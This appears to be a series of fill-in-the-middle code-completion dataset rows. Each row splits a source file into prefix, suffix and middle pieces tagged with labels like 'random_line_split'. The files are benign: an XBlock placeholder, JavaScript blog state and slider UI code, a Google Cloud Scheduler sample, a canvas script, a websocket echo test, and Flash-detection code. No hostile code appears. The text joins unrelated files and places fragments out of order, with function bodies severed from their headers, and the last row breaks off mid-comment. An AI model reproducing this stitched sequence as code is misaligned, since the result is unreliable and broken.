"""An XBlock to use as a child when you don't care what child to show. This code is in the Workbench layer. """ from web_fragments.fragment import Fragment from xblock.core import XBlock from .util import make_safe_for_html class DebuggingChildBlock(XBlock): """A simple gray box, to use as a child placeholder.""" def fallback_view(self, view_name, context=None): # pylint: disable=W0613 """Provides a fallback view handler""" frag = Fragment("<div class='debug_child'>%s<br>%s</div>" % (make_safe_for_html(repr(self)), view_name)) frag.add_css(""" .debug_child { background-color: grey; width: 300px; height: 100px; margin: 10px; padding: 5px 10px; font-size: 75%; }
return frag
""")
random_line_split
blocks.py
"""An XBlock to use as a child when you don't care what child to show. This code is in the Workbench layer. """ from web_fragments.fragment import Fragment from xblock.core import XBlock from .util import make_safe_for_html class DebuggingChildBlock(XBlock): """A simple gray box, to use as a child placeholder.""" def fallback_view(self, view_name, context=None): # pylint: disable=W0613
"""Provides a fallback view handler""" frag = Fragment("<div class='debug_child'>%s<br>%s</div>" % (make_safe_for_html(repr(self)), view_name)) frag.add_css(""" .debug_child { background-color: grey; width: 300px; height: 100px; margin: 10px; padding: 5px 10px; font-size: 75%; } """) return frag
identifier_body
state.js
// These two object contain information about the state of Ebl var GlobalState = Base.extend({ constructor: function() { this.isAdmin = false; this.authToken = null; this.docTitle = null; this.container = null; // default config this.config = { template: 'default',
// callbacks onBlogLoaded: null, onPostOpened: null, onPageChanged: null }; } }); var LocalState = Base.extend({ constructor: function() { this.page = 0; this.post = null; this.editors = null; } }); var PostStatus = { NEW: 0, DRAFT: 1, PUBLISHED: 2, parse: function (s) { if (s.toLowerCase() == "new") return 0; if (s.toLowerCase() == "draft") return 1; if (s.toLowerCase() == "published") return 2; return null; } }; var gState = new GlobalState(); // state shared among the entire session var lState = new LocalState(); // state of the current view
language: 'en', postsPerPage: 5, pageTitleFormat: "{ebl_title} | {doc_title}",
random_line_split
Slider.js
/* All functions related to creating a Slider item. */ var slideCount = 1; // SETTER function addSlide() { slideCount++; } // GETTER function getSlide() { return(slideCount); } // Adds the Slider as well as the 'Edit' and 'delete' buttons. function slider() { var node = document.createElement("LI"); node.setAttribute('class', 'base'); var x = document.createElement("DIV"); x.setAttribute('class', 'slideStuff'); var slideName = "slider_" + String(getSlide()); addSlide(); x.setAttribute('id', slideName); var y = document.createElement('button'); y.setAttribute('content', 'test content'); y.setAttribute('class', 'properties'); y.innerHTML = 'Edit'; var z = document.createElement('button'); z.setAttribute('class', 'delete'); z.innerHTML = 'x'; node.appendChild(x); node.appendChild(y); node.appendChild(z); var tabID = String(getSelectedTabId()); var tabContID = document.getElementById(tabID).children[0].id; document.getElementById(tabContID).appendChild(node); $(function() { $( ".slideStuff" ).slider(); }); var active = $("#tabs .ui-tabs-panel:visible").attr("id"); var test = document.getElementById(active).getElementsByClassName("fieldClass"); if(test.length > 0) { remake(); } } //Is called when the Edit button is clicked. Creates the appropriate Properties. function slideProps(myValue) { document.getElementById("list_3").innerHTML = ""; var linebreak = document.createElement('br'); //Properties Title var node = document.createElement("LI"); var x = document.createTextNode("Slider"); var el_span = document.createElement('span'); el_span.setAttribute('class', 'propLabel');
//Textbox for Label change. var node2 = document.createElement("LI"); var label = document.createTextNode("Label: "); var y = document.createElement('input'); y.setAttribute('type', 'text'); y.setAttribute('id', 'selector'); var elem = document.getElementById(myValue).parentNode; var name = ""; var node = elem.childNodes[3]; if (typeof node !== 'undefined') { if(node.nodeType == 3) { name = String(node.data); } } if(name != "") { y.setAttribute('value', name); } y.addEventListener("change", function() { setValues(myValue, y); }); function setValues(myVal, y) { var sturf = document.createTextNode(String(y.value)); var searching = document.getElementById(myVal).parentNode; if(searching.lastChild.nodeType == 3) { searching.lastChild.remove(); } document.getElementById(myVal).parentNode.appendChild(sturf); } node2.appendChild(label); node2.appendChild(y); document.getElementById("list_3").appendChild(node2); }
el_span.appendChild(x); node.appendChild(el_span); document.getElementById("list_3").appendChild(node);
random_line_split
Slider.js
/* All functions related to creating a Slider item. */ var slideCount = 1; // SETTER function addSlide() { slideCount++; } // GETTER function
() { return(slideCount); } // Adds the Slider as well as the 'Edit' and 'delete' buttons. function slider() { var node = document.createElement("LI"); node.setAttribute('class', 'base'); var x = document.createElement("DIV"); x.setAttribute('class', 'slideStuff'); var slideName = "slider_" + String(getSlide()); addSlide(); x.setAttribute('id', slideName); var y = document.createElement('button'); y.setAttribute('content', 'test content'); y.setAttribute('class', 'properties'); y.innerHTML = 'Edit'; var z = document.createElement('button'); z.setAttribute('class', 'delete'); z.innerHTML = 'x'; node.appendChild(x); node.appendChild(y); node.appendChild(z); var tabID = String(getSelectedTabId()); var tabContID = document.getElementById(tabID).children[0].id; document.getElementById(tabContID).appendChild(node); $(function() { $( ".slideStuff" ).slider(); }); var active = $("#tabs .ui-tabs-panel:visible").attr("id"); var test = document.getElementById(active).getElementsByClassName("fieldClass"); if(test.length > 0) { remake(); } } //Is called when the Edit button is clicked. Creates the appropriate Properties. function slideProps(myValue) { document.getElementById("list_3").innerHTML = ""; var linebreak = document.createElement('br'); //Properties Title var node = document.createElement("LI"); var x = document.createTextNode("Slider"); var el_span = document.createElement('span'); el_span.setAttribute('class', 'propLabel'); el_span.appendChild(x); node.appendChild(el_span); document.getElementById("list_3").appendChild(node); //Textbox for Label change. var node2 = document.createElement("LI"); var label = document.createTextNode("Label: "); var y = document.createElement('input'); y.setAttribute('type', 'text'); y.setAttribute('id', 'selector'); var elem = document.getElementById(myValue).parentNode; var name = ""; var node = elem.childNodes[3]; if (typeof node !== 'undefined') { if(node.nodeType == 3) { name = String(node.data); } } if(name != "") { y.setAttribute('value', name); } y.addEventListener("change", function() { setValues(myValue, y); }); function setValues(myVal, y) { var sturf = document.createTextNode(String(y.value)); var searching = document.getElementById(myVal).parentNode; if(searching.lastChild.nodeType == 3) { searching.lastChild.remove(); } document.getElementById(myVal).parentNode.appendChild(sturf); } node2.appendChild(label); node2.appendChild(y); document.getElementById("list_3").appendChild(node2); }
getSlide
identifier_name
Slider.js
/* All functions related to creating a Slider item. */ var slideCount = 1; // SETTER function addSlide()
// GETTER function getSlide() { return(slideCount); } // Adds the Slider as well as the 'Edit' and 'delete' buttons. function slider() { var node = document.createElement("LI"); node.setAttribute('class', 'base'); var x = document.createElement("DIV"); x.setAttribute('class', 'slideStuff'); var slideName = "slider_" + String(getSlide()); addSlide(); x.setAttribute('id', slideName); var y = document.createElement('button'); y.setAttribute('content', 'test content'); y.setAttribute('class', 'properties'); y.innerHTML = 'Edit'; var z = document.createElement('button'); z.setAttribute('class', 'delete'); z.innerHTML = 'x'; node.appendChild(x); node.appendChild(y); node.appendChild(z); var tabID = String(getSelectedTabId()); var tabContID = document.getElementById(tabID).children[0].id; document.getElementById(tabContID).appendChild(node); $(function() { $( ".slideStuff" ).slider(); }); var active = $("#tabs .ui-tabs-panel:visible").attr("id"); var test = document.getElementById(active).getElementsByClassName("fieldClass"); if(test.length > 0) { remake(); } } //Is called when the Edit button is clicked. Creates the appropriate Properties. function slideProps(myValue) { document.getElementById("list_3").innerHTML = ""; var linebreak = document.createElement('br'); //Properties Title var node = document.createElement("LI"); var x = document.createTextNode("Slider"); var el_span = document.createElement('span'); el_span.setAttribute('class', 'propLabel'); el_span.appendChild(x); node.appendChild(el_span); document.getElementById("list_3").appendChild(node); //Textbox for Label change. var node2 = document.createElement("LI"); var label = document.createTextNode("Label: "); var y = document.createElement('input'); y.setAttribute('type', 'text'); y.setAttribute('id', 'selector'); var elem = document.getElementById(myValue).parentNode; var name = ""; var node = elem.childNodes[3]; if (typeof node !== 'undefined') { if(node.nodeType == 3) { name = String(node.data); } } if(name != "") { y.setAttribute('value', name); } y.addEventListener("change", function() { setValues(myValue, y); }); function setValues(myVal, y) { var sturf = document.createTextNode(String(y.value)); var searching = document.getElementById(myVal).parentNode; if(searching.lastChild.nodeType == 3) { searching.lastChild.remove(); } document.getElementById(myVal).parentNode.appendChild(sturf); } node2.appendChild(label); node2.appendChild(y); document.getElementById("list_3").appendChild(node2); }
{ slideCount++; }
identifier_body
Slider.js
/* All functions related to creating a Slider item. */ var slideCount = 1; // SETTER function addSlide() { slideCount++; } // GETTER function getSlide() { return(slideCount); } // Adds the Slider as well as the 'Edit' and 'delete' buttons. function slider() { var node = document.createElement("LI"); node.setAttribute('class', 'base'); var x = document.createElement("DIV"); x.setAttribute('class', 'slideStuff'); var slideName = "slider_" + String(getSlide()); addSlide(); x.setAttribute('id', slideName); var y = document.createElement('button'); y.setAttribute('content', 'test content'); y.setAttribute('class', 'properties'); y.innerHTML = 'Edit'; var z = document.createElement('button'); z.setAttribute('class', 'delete'); z.innerHTML = 'x'; node.appendChild(x); node.appendChild(y); node.appendChild(z); var tabID = String(getSelectedTabId()); var tabContID = document.getElementById(tabID).children[0].id; document.getElementById(tabContID).appendChild(node); $(function() { $( ".slideStuff" ).slider(); }); var active = $("#tabs .ui-tabs-panel:visible").attr("id"); var test = document.getElementById(active).getElementsByClassName("fieldClass"); if(test.length > 0) { remake(); } } //Is called when the Edit button is clicked. Creates the appropriate Properties. function slideProps(myValue) { document.getElementById("list_3").innerHTML = ""; var linebreak = document.createElement('br'); //Properties Title var node = document.createElement("LI"); var x = document.createTextNode("Slider"); var el_span = document.createElement('span'); el_span.setAttribute('class', 'propLabel'); el_span.appendChild(x); node.appendChild(el_span); document.getElementById("list_3").appendChild(node); //Textbox for Label change. var node2 = document.createElement("LI"); var label = document.createTextNode("Label: "); var y = document.createElement('input'); y.setAttribute('type', 'text'); y.setAttribute('id', 'selector'); var elem = document.getElementById(myValue).parentNode; var name = ""; var node = elem.childNodes[3]; if (typeof node !== 'undefined') { if(node.nodeType == 3)
} if(name != "") { y.setAttribute('value', name); } y.addEventListener("change", function() { setValues(myValue, y); }); function setValues(myVal, y) { var sturf = document.createTextNode(String(y.value)); var searching = document.getElementById(myVal).parentNode; if(searching.lastChild.nodeType == 3) { searching.lastChild.remove(); } document.getElementById(myVal).parentNode.appendChild(sturf); } node2.appendChild(label); node2.appendChild(y); document.getElementById("list_3").appendChild(node2); }
{ name = String(node.data); }
conditional_block
cloud_scheduler.list_jobs.js
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // ** This file is automatically generated by gapic-generator-typescript. ** // ** https://github.com/googleapis/gapic-generator-typescript ** // ** All changes to this file may be overwritten. ** 'use strict'; function main(parent) { // [START cloudscheduler_v1_generated_CloudScheduler_ListJobs_async] /** * TODO(developer): Uncomment these variables before running the sample. */ /** * Required. The location name. For example: * `projects/PROJECT_ID/locations/LOCATION_ID`. */ // const parent = 'abc123' /** * Requested page size. * The maximum page size is 500. If unspecified, the page size will * be the maximum. Fewer jobs than requested might be returned, * even if more jobs exist; use next_page_token to determine if more * jobs exist. */ // const pageSize = 1234 /** * A token identifying a page of results the server will return. To * request the first page results, page_token must be empty. To * request the next page of results, page_token must be the value of * next_page_token google.cloud.scheduler.v1.ListJobsResponse.next_page_token returned from * the previous call to ListJobs google.cloud.scheduler.v1.CloudScheduler.ListJobs. It is an error to * switch the value of filter google.cloud.scheduler.v1.ListJobsRequest.filter or * order_by google.cloud.scheduler.v1.ListJobsRequest.order_by while iterating through pages. */ // const pageToken = 'abc123' // Imports the Scheduler library const {CloudSchedulerClient} = require('@google-cloud/scheduler').v1; // Instantiates a client const schedulerClient = new CloudSchedulerClient(); async function callListJobs()
callListJobs(); // [END cloudscheduler_v1_generated_CloudScheduler_ListJobs_async] } process.on('unhandledRejection', err => { console.error(err.message); process.exitCode = 1; }); main(...process.argv.slice(2));
{ // Construct request const request = { parent, }; // Run request const iterable = await schedulerClient.listJobsAsync(request); for await (const response of iterable) { console.log(response); } }
identifier_body
cloud_scheduler.list_jobs.js
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // ** This file is automatically generated by gapic-generator-typescript. ** // ** https://github.com/googleapis/gapic-generator-typescript ** // ** All changes to this file may be overwritten. ** 'use strict'; function
(parent) { // [START cloudscheduler_v1_generated_CloudScheduler_ListJobs_async] /** * TODO(developer): Uncomment these variables before running the sample. */ /** * Required. The location name. For example: * `projects/PROJECT_ID/locations/LOCATION_ID`. */ // const parent = 'abc123' /** * Requested page size. * The maximum page size is 500. If unspecified, the page size will * be the maximum. Fewer jobs than requested might be returned, * even if more jobs exist; use next_page_token to determine if more * jobs exist. */ // const pageSize = 1234 /** * A token identifying a page of results the server will return. To * request the first page results, page_token must be empty. To * request the next page of results, page_token must be the value of * next_page_token google.cloud.scheduler.v1.ListJobsResponse.next_page_token returned from * the previous call to ListJobs google.cloud.scheduler.v1.CloudScheduler.ListJobs. It is an error to * switch the value of filter google.cloud.scheduler.v1.ListJobsRequest.filter or * order_by google.cloud.scheduler.v1.ListJobsRequest.order_by while iterating through pages. */ // const pageToken = 'abc123' // Imports the Scheduler library const {CloudSchedulerClient} = require('@google-cloud/scheduler').v1; // Instantiates a client const schedulerClient = new CloudSchedulerClient(); async function callListJobs() { // Construct request const request = { parent, }; // Run request const iterable = await schedulerClient.listJobsAsync(request); for await (const response of iterable) { console.log(response); } } callListJobs(); // [END cloudscheduler_v1_generated_CloudScheduler_ListJobs_async] } process.on('unhandledRejection', err => { console.error(err.message); process.exitCode = 1; }); main(...process.argv.slice(2));
main
identifier_name
cloud_scheduler.list_jobs.js
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // ** This file is automatically generated by gapic-generator-typescript. ** // ** https://github.com/googleapis/gapic-generator-typescript ** // ** All changes to this file may be overwritten. ** 'use strict'; function main(parent) { // [START cloudscheduler_v1_generated_CloudScheduler_ListJobs_async] /** * TODO(developer): Uncomment these variables before running the sample. */ /** * Required. The location name. For example: * `projects/PROJECT_ID/locations/LOCATION_ID`. */ // const parent = 'abc123' /** * Requested page size. * The maximum page size is 500. If unspecified, the page size will * be the maximum. Fewer jobs than requested might be returned, * even if more jobs exist; use next_page_token to determine if more * jobs exist. */ // const pageSize = 1234 /** * A token identifying a page of results the server will return. To * request the first page results, page_token must be empty. To * request the next page of results, page_token must be the value of * next_page_token google.cloud.scheduler.v1.ListJobsResponse.next_page_token returned from * the previous call to ListJobs google.cloud.scheduler.v1.CloudScheduler.ListJobs. It is an error to * switch the value of filter google.cloud.scheduler.v1.ListJobsRequest.filter or * order_by google.cloud.scheduler.v1.ListJobsRequest.order_by while iterating through pages. */
const {CloudSchedulerClient} = require('@google-cloud/scheduler').v1; // Instantiates a client const schedulerClient = new CloudSchedulerClient(); async function callListJobs() { // Construct request const request = { parent, }; // Run request const iterable = await schedulerClient.listJobsAsync(request); for await (const response of iterable) { console.log(response); } } callListJobs(); // [END cloudscheduler_v1_generated_CloudScheduler_ListJobs_async] } process.on('unhandledRejection', err => { console.error(err.message); process.exitCode = 1; }); main(...process.argv.slice(2));
// const pageToken = 'abc123' // Imports the Scheduler library
random_line_split
script.ts
document.addEventListener('DOMContentLoaded', function() { var canvas = document.getElementById('canvas') as HTMLCanvasElement; var ctx = canvas.getContext("2d"); function
() { console.log('redraw') canvas.width = window.innerWidth; canvas.height = window.innerHeight; ctx.fillRect(0,0,100,100) ctx.font="30px Arial"; ctx.fillText("Hello", 100,100) } window.addEventListener('resize', redraw); redraw(); var old:{x:number, y:number}; canvas.addEventListener('mouseout', function(e) { old = undefined; }); canvas.addEventListener('click', function(e) { redraw(); }); canvas.addEventListener('mousemove', function(e) { var { clientX: x, clientY: y } = e; if(old && (old.x != x || old.y != y)) { var qx = x-old.x; var qy = y-old.y; var a = Math.atan2(qy, qx) + Math.PI/2; var r = Math.sqrt(qx*qx+qy*qy); var dx = Math.cos(a)*r; var dy = Math.sin(a)*r; ctx.beginPath(); ctx.moveTo(x-dx, y-dy); ctx.lineTo(x+dx, y+dy); ctx.stroke(); } old = { x, y }; }); });
redraw
identifier_name
script.ts
document.addEventListener('DOMContentLoaded', function() { var canvas = document.getElementById('canvas') as HTMLCanvasElement;
ctx.fillRect(0,0,100,100) ctx.font="30px Arial"; ctx.fillText("Hello", 100,100) } window.addEventListener('resize', redraw); redraw(); var old:{x:number, y:number}; canvas.addEventListener('mouseout', function(e) { old = undefined; }); canvas.addEventListener('click', function(e) { redraw(); }); canvas.addEventListener('mousemove', function(e) { var { clientX: x, clientY: y } = e; if(old && (old.x != x || old.y != y)) { var qx = x-old.x; var qy = y-old.y; var a = Math.atan2(qy, qx) + Math.PI/2; var r = Math.sqrt(qx*qx+qy*qy); var dx = Math.cos(a)*r; var dy = Math.sin(a)*r; ctx.beginPath(); ctx.moveTo(x-dx, y-dy); ctx.lineTo(x+dx, y+dy); ctx.stroke(); } old = { x, y }; }); });
var ctx = canvas.getContext("2d"); function redraw() { console.log('redraw') canvas.width = window.innerWidth; canvas.height = window.innerHeight;
random_line_split
script.ts
document.addEventListener('DOMContentLoaded', function() { var canvas = document.getElementById('canvas') as HTMLCanvasElement; var ctx = canvas.getContext("2d"); function redraw()
window.addEventListener('resize', redraw); redraw(); var old:{x:number, y:number}; canvas.addEventListener('mouseout', function(e) { old = undefined; }); canvas.addEventListener('click', function(e) { redraw(); }); canvas.addEventListener('mousemove', function(e) { var { clientX: x, clientY: y } = e; if(old && (old.x != x || old.y != y)) { var qx = x-old.x; var qy = y-old.y; var a = Math.atan2(qy, qx) + Math.PI/2; var r = Math.sqrt(qx*qx+qy*qy); var dx = Math.cos(a)*r; var dy = Math.sin(a)*r; ctx.beginPath(); ctx.moveTo(x-dx, y-dy); ctx.lineTo(x+dx, y+dy); ctx.stroke(); } old = { x, y }; }); });
{ console.log('redraw') canvas.width = window.innerWidth; canvas.height = window.innerHeight; ctx.fillRect(0,0,100,100) ctx.font="30px Arial"; ctx.fillText("Hello", 100,100) }
identifier_body
script.ts
document.addEventListener('DOMContentLoaded', function() { var canvas = document.getElementById('canvas') as HTMLCanvasElement; var ctx = canvas.getContext("2d"); function redraw() { console.log('redraw') canvas.width = window.innerWidth; canvas.height = window.innerHeight; ctx.fillRect(0,0,100,100) ctx.font="30px Arial"; ctx.fillText("Hello", 100,100) } window.addEventListener('resize', redraw); redraw(); var old:{x:number, y:number}; canvas.addEventListener('mouseout', function(e) { old = undefined; }); canvas.addEventListener('click', function(e) { redraw(); }); canvas.addEventListener('mousemove', function(e) { var { clientX: x, clientY: y } = e; if(old && (old.x != x || old.y != y))
old = { x, y }; }); });
{ var qx = x-old.x; var qy = y-old.y; var a = Math.atan2(qy, qx) + Math.PI/2; var r = Math.sqrt(qx*qx+qy*qy); var dx = Math.cos(a)*r; var dy = Math.sin(a)*r; ctx.beginPath(); ctx.moveTo(x-dx, y-dy); ctx.lineTo(x+dx, y+dy); ctx.stroke(); }
conditional_block
echo-inline.js
var WS = require('../') var tape = require('tape') var pull = require('pull-stream') var JSONDL = require('pull-json-doubleline') tape('simple echo server', function (t) { var server = WS.createServer(function (stream) { pull(stream, stream) }).listen(5678, function () { pull( pull.values([1,2,3]), //need a delay, because otherwise ws hangs up wrong. //otherwise use pull-goodbye. function (read) { return function (err, cb) { setTimeout(function () { read(null, cb) }, 10) } }, JSONDL.stringify(), WS.connect('ws://localhost:5678'), JSONDL.parse(), pull.collect(function (err, ary) { if(err) throw err t.deepEqual(ary, [1,2,3]) server.close(function () { t.end() }) }) ) })
})
random_line_split
detectFlash.js
// ----------------------------------------------------------------------------- // Globals // Major version of Flash required var requiredMajorVersion = 8; // Minor version of Flash required var requiredMinorVersion = 0; // Minor version of Flash required var requiredRevision = 0; // the version of javascript supported var jsVersion = 1.0; // ----------------------------------------------------------------------------- var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; jsVersion = 1.1; // JavaScript helper required to detect Flash Player PlugIn version information function JSGetSwfVer(i){ // NS/Opera version >= 3 check for Flash plugin in plugin array if (navigator.plugins != null && navigator.plugins.length > 0) { if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) { var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : ""; var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description; descArray = flashDescription.split(" "); tempArrayMajor = descArray[2].split("."); versionMajor = tempArrayMajor[0]; versionMinor = tempArrayMajor[1]; if ( descArray[3] != "" ) { tempArrayMinor = descArray[3].split("r"); } else { tempArrayMinor = descArray[4].split("r"); } versionRevision = tempArrayMinor[1] > 0 ? tempArrayMinor[1] : 0; flashVer = versionMajor + "." + versionMinor + "." + versionRevision; } else { flashVer = -1; } } // MSN/WebTV 2.6 supports Flash 4 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4; // WebTV 2.5 supports Flash 3 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3; // older WebTV supports Flash 2 else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2; // Can't detect in all other cases else { flashVer = -1; } return flashVer; } // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{ reqVer = parseFloat(reqMajorVer + "." + reqRevision); // loop backwards through the versions until we find the newest version for (i=25;i>0;i--) { if (isIE && isWin && !isOpera) { versionStr = VBGetSwfVer(i); } else { versionStr = JSGetSwfVer(i); } if (versionStr == -1 ) { return false; } else if (versionStr != 0) { if(isIE && isWin && !isOpera) { tempArray = versionStr.split(" "); tempString = tempArray[1]; versionArray = tempString .split(","); } else { versionArray = versionStr.split("."); } versionMajor = versionArray[0]; versionMinor = versionArray[1]; versionRevision = versionArray[2]; versionString = versionMajor + "." + versionRevision; // 7.0r24 == 7.24 versionNum = parseFloat(versionString); // is the major.revision >= requested major.revision AND the minor version >= requested minor if ( (versionMajor > reqMajorVer) && (versionNum >= reqVer) ) { return true; } else { return ((versionNum >= reqVer && versionMinor >= reqMinorVer) ? true : false ); } } } }
identifier_body
detectFlash.js
// ----------------------------------------------------------------------------- // Globals // Major version of Flash required var requiredMajorVersion = 8; // Minor version of Flash required var requiredMinorVersion = 0; // Minor version of Flash required var requiredRevision = 0; // the version of javascript supported var jsVersion = 1.0; // ----------------------------------------------------------------------------- var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; jsVersion = 1.1; // JavaScript helper required to detect Flash Player PlugIn version information function JSGetSwfVer(i){ // NS/Opera version >= 3 check for Flash plugin in plugin array if (navigator.plugins != null && navigator.plugins.length > 0) { if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) { var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : ""; var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description; descArray = flashDescription.split(" "); tempArrayMajor = descArray[2].split("."); versionMajor = tempArrayMajor[0]; versionMinor = tempArrayMajor[1]; if ( descArray[3] != "" ) { tempArrayMinor = descArray[3].split("r"); } else { tempArrayMinor = descArray[4].split("r"); } versionRevision = tempArrayMinor[1] > 0 ? tempArrayMinor[1] : 0; flashVer = versionMajor + "." + versionMinor + "." + versionRevision; } else { flashVer = -1; } } // MSN/WebTV 2.6 supports Flash 4 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4; // WebTV 2.5 supports Flash 3 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3; // older WebTV supports Flash 2 else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2; // Can't detect in all other cases else { flashVer = -1; } return flashVer; } // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available function
(reqMajorVer, reqMinorVer, reqRevision) { reqVer = parseFloat(reqMajorVer + "." + reqRevision); // loop backwards through the versions until we find the newest version for (i=25;i>0;i--) { if (isIE && isWin && !isOpera) { versionStr = VBGetSwfVer(i); } else { versionStr = JSGetSwfVer(i); } if (versionStr == -1 ) { return false; } else if (versionStr != 0) { if(isIE && isWin && !isOpera) { tempArray = versionStr.split(" "); tempString = tempArray[1]; versionArray = tempString .split(","); } else { versionArray = versionStr.split("."); } versionMajor = versionArray[0]; versionMinor = versionArray[1]; versionRevision = versionArray[2]; versionString = versionMajor + "." + versionRevision; // 7.0r24 == 7.24 versionNum = parseFloat(versionString); // is the major.revision >= requested major.revision AND the minor version >= requested minor if ( (versionMajor > reqMajorVer) && (versionNum >= reqVer) ) { return true; } else { return ((versionNum >= reqVer && versionMinor >= reqMinorVer) ? true : false ); } } } }
DetectFlashVer
identifier_name
detectFlash.js
// ----------------------------------------------------------------------------- // Globals // Major version of Flash required var requiredMajorVersion = 8; // Minor version of Flash required var requiredMinorVersion = 0; // Minor version of Flash required var requiredRevision = 0; // the version of javascript supported var jsVersion = 1.0; // ----------------------------------------------------------------------------- var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; jsVersion = 1.1; // JavaScript helper required to detect Flash Player PlugIn version information function JSGetSwfVer(i){ // NS/Opera version >= 3 check for Flash plugin in plugin array if (navigator.plugins != null && navigator.plugins.length > 0) { if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) { var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : ""; var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description; descArray = flashDescription.split(" "); tempArrayMajor = descArray[2].split("."); versionMajor = tempArrayMajor[0]; versionMinor = tempArrayMajor[1]; if ( descArray[3] != "" )
else { tempArrayMinor = descArray[4].split("r"); } versionRevision = tempArrayMinor[1] > 0 ? tempArrayMinor[1] : 0; flashVer = versionMajor + "." + versionMinor + "." + versionRevision; } else { flashVer = -1; } } // MSN/WebTV 2.6 supports Flash 4 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4; // WebTV 2.5 supports Flash 3 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3; // older WebTV supports Flash 2 else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2; // Can't detect in all other cases else { flashVer = -1; } return flashVer; } // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) { reqVer = parseFloat(reqMajorVer + "." + reqRevision); // loop backwards through the versions until we find the newest version for (i=25;i>0;i--) { if (isIE && isWin && !isOpera) { versionStr = VBGetSwfVer(i); } else { versionStr = JSGetSwfVer(i); } if (versionStr == -1 ) { return false; } else if (versionStr != 0) { if(isIE && isWin && !isOpera) { tempArray = versionStr.split(" "); tempString = tempArray[1]; versionArray = tempString .split(","); } else { versionArray = versionStr.split("."); } versionMajor = versionArray[0]; versionMinor = versionArray[1]; versionRevision = versionArray[2]; versionString = versionMajor + "." + versionRevision; // 7.0r24 == 7.24 versionNum = parseFloat(versionString); // is the major.revision >= requested major.revision AND the minor version >= requested minor if ( (versionMajor > reqMajorVer) && (versionNum >= reqVer) ) { return true; } else { return ((versionNum >= reqVer && versionMinor >= reqMinorVer) ? true : false ); } } } }
{ tempArrayMinor = descArray[3].split("r"); }
conditional_block
detectFlash.js
// ----------------------------------------------------------------------------- // Globals // Major version of Flash required var requiredMajorVersion = 8; // Minor version of Flash required
// the version of javascript supported var jsVersion = 1.0; // ----------------------------------------------------------------------------- var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; jsVersion = 1.1; // JavaScript helper required to detect Flash Player PlugIn version information function JSGetSwfVer(i){ // NS/Opera version >= 3 check for Flash plugin in plugin array if (navigator.plugins != null && navigator.plugins.length > 0) { if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) { var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : ""; var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description; descArray = flashDescription.split(" "); tempArrayMajor = descArray[2].split("."); versionMajor = tempArrayMajor[0]; versionMinor = tempArrayMajor[1]; if ( descArray[3] != "" ) { tempArrayMinor = descArray[3].split("r"); } else { tempArrayMinor = descArray[4].split("r"); } versionRevision = tempArrayMinor[1] > 0 ? tempArrayMinor[1] : 0; flashVer = versionMajor + "." + versionMinor + "." + versionRevision; } else { flashVer = -1; } } // MSN/WebTV 2.6 supports Flash 4 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4; // WebTV 2.5 supports Flash 